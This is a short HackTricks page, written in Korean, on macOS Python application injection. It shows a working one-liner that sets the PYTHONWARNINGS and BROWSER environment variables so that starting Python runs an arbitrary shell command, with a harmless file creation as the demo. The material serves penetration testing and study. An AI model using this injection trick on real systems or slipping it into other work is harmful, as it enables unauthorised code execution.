hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-python-applications-injection.md

2.7 KiB

macOS Python Applications Injection

{% hint style="success" %} AWS 해킹을 배우고 실습하세요: HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹을 배우고 실습하세요: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기
{% endhint %}

PYTHONWARNINGSBROWSER 환경 변수를 통해

예를 들어 PYTHON이 호출될 때 환경 변수를 변경하여 임의의 코드를 실행할 수 있습니다:

{% code overflow="wrap" %}

# Generate example python script
echo "print('hi')" > /tmp/script.py

# RCE which will generate file /tmp/hacktricks
PYTHONWARNINGS="all:0:antigravity.x:0:0" BROWSER="/bin/sh -c 'touch /tmp/hacktricks' #%s" python3 /tmp/script.py

{% endcode %}

{% hint style="success" %} AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}